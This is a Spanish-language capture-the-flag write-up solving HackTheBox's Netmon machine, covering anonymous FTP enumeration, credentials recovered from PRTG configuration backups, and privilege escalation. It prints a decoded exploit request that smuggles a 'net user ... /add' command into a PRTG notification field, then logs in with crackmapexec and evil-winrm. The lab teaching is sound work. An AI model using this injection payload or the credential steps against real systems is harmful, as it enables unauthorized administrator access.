
Hoy vamos a resolver la máquina Netmon
de la plataforma de hackthebox
correspondiente a una maquina windows
dificultad facil, la cual explotaremos a partir de una enumeración por ftp
donde obtendremos archivos de configuración con credenciales que nos permitiran conectarnos al servicio web y despues nos aprovecharemos de una vulnerabilidad de PRTG
que nos permitira realizar la creación de un usuario a nivel de sistema y le añadiremos permisis de administrador, para finalmente conectarnos al sistema como el usuario administrator
.
Vamos a comenzar creando un directorio con el nombre de la maquina:
❯ mkdir Netmon
❯ ls
Netmon
Seguidamente con la funcion mkt crearemos nuestros directorios de trabajo:
❯ which mkt
mkt () {
mkdir {nmap,content,exploits,scripts}
}
❯ mkt
❯ ls
content exploits nmap scripts
Enumeración #
Ahora que tenemos nuestros directorios vamos a comenzar con la fase de Enumeracion, empezamos mandando una traza a la ip de la maquina victima con el comando ping
:
❯ ping -c 1 10.10.10.152
PING 10.10.10.152 (10.10.10.152) 56(84) bytes of data.
64 bytes from 10.10.10.152: icmp_seq=1 ttl=127 time=200 ms
--- 10.10.10.152 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 199.775/199.775/199.775/0.000 ms
Vemos que la maquina nos responde, con un ttl de 127
correspondiente a una maquina windows
, ahora procederemos a el escaneo de puertos con la ayuda de nmap
:
Escaneo de Puertos
Parámetro | Descripción |
---|---|
-p- | Escaneamos todos los 65535 puertos. |
–open | Solo los puertos que estén abiertos. |
-v | Permite ver en consola lo que va encontrando (verbose). |
-oG | Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles |
Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre openPorts
:
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.152 -oG openPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-14 04:18 GMT
Initiating SYN Stealth Scan at 04:18
Scanning 10.10.10.152 [65535 ports]
Discovered open port 80/tcp on 10.10.10.152
Discovered open port 21/tcp on 10.10.10.152
Discovered open port 135/tcp on 10.10.10.152
Discovered open port 139/tcp on 10.10.10.152
Discovered open port 445/tcp on 10.10.10.152
Discovered open port 49667/tcp on 10.10.10.152
Discovered open port 49664/tcp on 10.10.10.152
Discovered open port 49668/tcp on 10.10.10.152
Discovered open port 47001/tcp on 10.10.10.152
Discovered open port 49666/tcp on 10.10.10.152
Discovered open port 49669/tcp on 10.10.10.152
Discovered open port 5985/tcp on 10.10.10.152
Discovered open port 49665/tcp on 10.10.10.152
Completed SYN Stealth Scan at 04:18, 23.62s elapsed (65535 total ports)
Nmap scan report for 10.10.10.152
Host is up, received user-set (0.14s latency).
Scanned at 2023-06-14 04:18:22 GMT for 24s
Not shown: 63185 closed tcp ports (reset), 2337 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 23.76 seconds
Raw packets sent: 116389 (5.121MB) | Rcvd: 77893 (3.116MB)
Escaneo de Version y Servicios.
❯ nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-14 04:19 GMT
Nmap scan report for 10.10.10.152
Host is up (0.40s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_02-25-19 11:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-06-14T04:20:28
|_ start_date: 2023-06-14T04:14:56
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.25 seconds
Visulizamos informacion interesante de los puertos escaneados:
Puerto | Servicio | Versión |
---|---|---|
21 | FTP | Microsoft ftpd |
80 | HTTP | Indy httpd 18.1.37.13946 |
135 | RPC | Microsoft Windows RPC |
139 | LDAP | Microsoft Windows netbios-ssn |
445 | SMP | Microsoft Windows Server 2008 R2 - 2012 microsoft-ds |
5985 | WINRM | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
47001 | HTTP | Microsoft HTTPAPI httpd 2.0 |
49664-49669 | MSRPC | Microsoft Windows RPC |
Explotación #
Comenzaremos enumerando el servicio ftp
haciendo uno del usuario anonymous
, sin proporcionar contraseña.
❯ ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:fmiracle): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 12:18AM 1024 .rnd
02-25-19 10:15PM <DIR> inetpub
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> Windows
226 Transfer complete.
Si nos dirigimos al directorio Users
, vemos que podemos obtener la primera flag user.txt
, pero aun no tenemos acceso al sistema.
ftp> cd Users
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-25-19 11:44PM <DIR> Administrator
02-03-19 12:35AM <DIR> Public
226 Transfer complete.
ftp> cd Public
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 08:05AM <DIR> Documents
07-16-16 09:18AM <DIR> Downloads
07-16-16 09:18AM <DIR> Music
07-16-16 09:18AM <DIR> Pictures
06-14-23 12:15AM 34 user.txt
07-16-16 09:18AM <DIR> Videos
226 Transfer complete.
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful.
150 Opening ASCII mode data connection.
226 Transfer complete.
34 bytes received in 0.20 secs (0.1620 kB/s)
ftp> exit
221 Goodbye.
❯ cat user.txt
❯ c07be14afc2253b24510769dcb7db65
Para poder enumear de una manera mas comoda los archivos mediante ftp
, vamos a crearnos una montura con la herramienta curlftpfs
.
❯ curlftpfs
❯ mkdir /mnt/monturaftp
❯ curlftpfs ftp://10.10.10.152 /mnt/monturaftp
❯ ls -l /mnt/monturaftp
d--------- root root 0 B Sun Nov 20 22:46:00 2016 $RECYCLE.BIN
d--------- root root 0 B Sun Feb 3 08:05:00 2019 Documents and Settings
d--------- root root 0 B Mon Feb 25 22:15:00 2019 inetpub
d--------- root root 0 B Sat Jul 16 09:18:00 2016 PerfLogs
d--------- root root 0 B Mon Feb 25 22:56:00 2019 Program Files
d--------- root root 0 B Sun Feb 3 00:28:00 2019 Program Files (x86)
d--------- root root 0 B Wed Dec 15 10:40:00 2021 ProgramData
d--------- root root 0 B Sun Feb 3 08:05:00 2019 Recovery
d--------- root root 0 B Sun Feb 3 08:04:00 2019 System Volume Information
d--------- root root 0 B Sun Feb 3 08:08:00 2019 Users
d--------- root root 0 B Mon Feb 25 23:49:00 2019 Windows
.--------- root root 380 KB Sun Nov 20 21:59:00 2016 bootmgr
.--------- root root 1 B Sat Jul 16 09:10:00 2016 BOOTNXT
.--------- root root 704 MB Wed Jun 14 00:14:00 2023 pagefile.sys
Antes de segui enumerando vamos a ver el servicio web, que esta expuesto en el puerto 80.
Vemos que el servicio corresponde a PRTG Network Monitor
.
PRTG Network Monitor: PRTG (Paessler Router Traffic Grapher hasta la versión 7) es un software de monitoreo de red sin agentes de Paessler AG. El término general Paessler PRTG aúna varias versiones de software capaces de monitorizar y clasificar diferentes condiciones del sistema, como el uso del ancho de banda o el tiempo de actividad, y recopilar estadísticas de diversos anfitriones como switches, routers, servidores y otros dispositivos y aplicaciones.
Buscamos si hay exploits
asociados a este servicio y entre ellos una de ejecución remota de comandos.
❯ searchsploit PRTG
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution | windows/webapps/46527.sh
PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS | windows/webapps/49156.txt
PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service) | windows_x86/dos/44500.py
PRTG Traffic Grapher 6.2.1 - 'url' Cross-Site Scripting | java/webapps/34108.txt
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
El exploit nos pide estar autenticados, asi que vamos a examinar la montura que previamente creamos y trataremos de buscar archivos de configuración, ya que estos suelen almacenar credenciales.
Encontramos archivos de configuración, y usaremos diff
para encontrar diferncias entre el archivo .dat
y el archivo old.bak
diff "PRTG Configuration.dat" "PRTG Configuration.old.bak" | less
< <flags>
< <encrypted/>
< </flags>
---
> <!-- User: prtgadmin -->
> PrTg@dmin2018
317c313
< 77RULO2GA4Q3RVEUZ77IMPLVKABRRS2UNR3Q====
---
> 6SLJOGVBYWJF5ZMURQWHEPJ3C3WT2NQDJOZA====
325c321
< IVK3MVDI6HCMYIRYQN264YLIRXNJWMB6NT3Q====
---
> ILD5YN3TROUJXG6ECLVDRKIPKTBKE274FTNQ====
Obtenemos las credenciales prtgadmin:PrTg@dmin2018
con las cuales podamos logearnos en el servicio PRTG
, pero al intentar logearnos nos dicen que las credenciales son invalidas.
Podemos tratar de hacer guesing y debido a que la contraseña termina en 2018, podemos modificarla por 2019.
Logramos conectarnos al panel como el usuario administrator
.
Escalada de Privilegios #
Si revisamos el exploit que tenemos, vemos que este realiza una petición a la ruta myaccount.htm?tabid=2
y envia una data que se encuentra urlencodeada
.
Usaremos una sesión interactiva de php
para urldecodear la data y ver mejor que es lo que envia.
❯ php --interactive
Interactive mode enabled
php > echo urldecode("name_=create_user&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.ps1&message_10=%22C%3A%5CUsers%5CPublic%5Ctester.txt%3Bnet+user+pentest+P3nT3st!+%2Fadd%22&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators&ticketuserid_16=100%7CPRTG+System+Administrator&subject_16=%25device+%25name+%25status+%25down+(%25message)&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0ADate%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0ALast+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0ADevice%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0ALast+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0ACumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2");
name_=create_user&tags_=&active_=1&schedule_=-1|None|&postpone_=1&comments=&summode_=2&summarysubject_=[%sitename] %summarycount Summarized Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=[%sitename] %device %name %status %down (%message)&contenttype_1=text/html&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=[%sitename] %device %name %status %down (%message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=[%sitename] %device %name %status %down (%message)&active_2=0&eventlogfile_2=application&sender_2=PRTG Network Monitor&eventtype_2=error&message_2=[%sitename] %device %name %status %down (%message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=[%sitename] %device %name %status %down (%message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=[%sitename] %device %name %status %down (%message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo EXE Notification - OutFile.ps1&message_10="C:\Users\Public\tester.txt;net user pentest P3nT3st! /add"&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=[%sitename] %device %name %status %down (%message)&active_16=0&isusergroup_16=1&addressgroupid_16=200|PRTG Administrators&ticketuserid_16=100|PRTG System Administrator&subject_16=%device %name %status %down (%message)&message_16=Sensor: %name
Status: %status %down
&autoclose_16=1&objecttype=notification&id=new&targeturl=/myaccount.htm?tabid=2
Vemos que la data se enviar a un parametro message_10
, en donde crea un usuario de nombre pentest
a nivel de sistema net user pentest P3nT3st! /add
.
Podemos aprovecharnos de este y ejecutar una instrucción similar a la del exploit, donde crearemos un usuario al cual pondre de nombre pentest
y ademas lo añadire al grupo de Administradores.
Nos dirigimos a la ruta a donde manda la petición, damos en Add new Notification
.
Creamos un nombre de Notificación, en este caso Nuevo
.
y ahora activamos la función Execute Program
podemos ver varios inputs y si los inspeccionamos encontramos el de message_10
que corresponde a Parameter
Ejecutamos en el campo la instrucción, donde crearemos nuestro usuario y lo añadiremos al grupo administrador.
Guardamos y ahora en la notificación creada le damos en el simbolo de la campana Send
.
Le damos ok en la confirmación y ya deberia haberse ejecutado la acción.
Como vimos que el puerto 445
esta abierto podemos usar crackmapexec
y validamos que el usuario fmiracle
ahora existe y forma parte de los usuarios administradores
.
❯ crackmapexec smb 10.10.10.152 -u 'pentest' -p 'p3nT3st!'
SMB 10.10.10.152 445 NETMON [*] Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:netmon) (signing:False) (SMBv1:True)
SMB 10.10.10.152 445 NETMON [+] netmon\pentest:p3nT3st! (Pwn3d!)
Ahora haciendo uso del servicio de administración remota de windows, podemos conectarnos por el puerto 5985
, usando la herramienta evil-winrm
.
❯ evil-winrm -i 10.10.10.152 -u 'pentest' -p 'p3nT3st!'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\pentest\Documents> cd C:\Users
Una vez ya en el sistema podemos dirigirnos al directorio personal del usuario Administrator
y visualizar la segunda flag root.txt
.
*Evil-WinRM* PS C:\Users> cd Administrator
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
491b992fe825994a2fad4199afd2ca76
Comments